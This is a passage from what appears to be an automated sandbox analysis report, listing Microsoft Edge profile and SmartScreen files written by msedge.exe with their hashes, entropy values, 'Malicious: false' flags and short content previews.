Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39d99.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.0905223139790925
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kICLmZtXtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynYtGhOxqQoRTuiVIos
MD5:	6A4D5D5DA1099356C1ED596E2F95305E
SHA1:	270D8BE5638F309BF7B7CE6C4F0105268BC8240B
SHA-256:	B649EA6F6EE10D2B555C625C1FBEF62CA8F9CEADD5210C94AFB8C5AD63D36993
SHA-512:	3BEDD063D0F01F84444FF192FCAAB033E6B41AB33B9117048C14D278936AE9A72768BDA83E6F7D4C60B12C36753570C8E71BC205217A95A12208506A7B062E7C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3f89a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.0905223139790925
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kICLmZtXtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynYtGhOxqQoRTuiVIos
MD5:	6A4D5D5DA1099356C1ED596E2F95305E
SHA1:	270D8BE5638F309BF7B7CE6C4F0105268BC8240B
SHA-256:	B649EA6F6EE10D2B555C625C1FBEF62CA8F9CEADD5210C94AFB8C5AD63D36993
SHA-512:	3BEDD063D0F01F84444FF192FCAAB033E6B41AB33B9117048C14D278936AE9A72768BDA83E6F7D4C60B12C36753570C8E71BC205217A95A12208506A7B062E7C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.022430934740917
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXmEUTdR2TVY:YWLSGTt1o9LuLgfGBPAzkVj/T8lWEUTz
MD5:	6A49A2AC24B879067F7154EADB94E61E
SHA1:	041C381AE180A2A8AFF16A9DB4862A8992DFF875
SHA-256:	692BA5310A04564DD4E3BC4FA85828DD62E829D8DA2D2C37039A283E6CE1B122
SHA-512:	C1783FD981C7FAE152009A25870585D42244CEE18B4BFFEC3A6C0B622B5F40FD64A95A9115CEDEF7233EF955EA8C5916F9A8724C8252347D2D5B1B00A896B80A
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732705416840586}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a6b9c9d6-2d5d-4255-90ce-5f8b726da870.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46113
Entropy (8bit):	6.087076216347665
Encrypted:	false
SSDEEP:	768:rMkbJrT8IeQc5dXdeLmZlViIYfGEIFzfIQmxgxC1oQwWE7RTupzKscDX//NqB:rMk1rT8H1XbLIQ9IoQoRTuii
MD5:	3E170D8DAD53E8F96EB9945F0B272D7B
SHA1:	92000C4652B6E240F0010C19CFE925C1A055EBDC
SHA-256:	B95B2FAFAE16A8CBCB61E8491AD654C15B61FB8D1A08B3640DF804E111DD17A2
SHA-512:	19359F8D492AB2D8665D6C6ACE72C7B767B8B55151C8852661B8005BF108E0D4F2CEC67F1CAD1B5F0BED977AE55C85F4F485E557005DDA1ABADB7B88AA6B9975
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"0ef2c216-6194-4ef8-b3ce-45b0e568ceb4"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732604617"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\bca07e44-f260-4e82-91a0-eb0a4e51b20b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46237
Entropy (8bit):	6.086765290899202
Encrypted:	false
SSDEEP:	768:rMkbJrT8IeQc54XpeLmZlViIYfGEIFzfIQmxgxC1oQwWE7RTupzKscDX//NqB:rMk1rT8HwXvLIQ9IoQoRTuii
MD5:	2C6BF09E6DE4508092D22578096D219B
SHA1:	59D080780C844DDE511274EB1F5387A36ED9C754
SHA-256:	5E5EE412B83EC5A4BF1C3BF0AFA27DCF20392C920A629E94E6A5A6730352D792
SHA-512:	DABB9E4AF76A39D69705CCB8AB1322D01FB48D0741951C487F1FCB1A243EE7AFC59A4433A6B9DE04C0088FC8A5133AD8A14418A2B84F5228B5E6950C47E0056C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"0ef2c216-6194-4ef8-b3ce-45b0e568ceb4"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732604617"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\de241286-e0a2-4a40-be94-f44ed7870243.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.0905223139790925
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kICLmZtXtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynYtGhOxqQoRTuiVIos
MD5:	6A4D5D5DA1099356C1ED596E2F95305E
SHA1:	270D8BE5638F309BF7B7CE6C4F0105268BC8240B
SHA-256:	B649EA6F6EE10D2B555C625C1FBEF62CA8F9CEADD5210C94AFB8C5AD63D36993
SHA-512:	3BEDD063D0F01F84444FF192FCAAB033E6B41AB33B9117048C14D278936AE9A72768BDA83E6F7D4C60B12C36753570C8E71BC205217A95A12208506A7B062E7C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f341a91e-f0b9-48cf-acf4-41608a554358.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46237
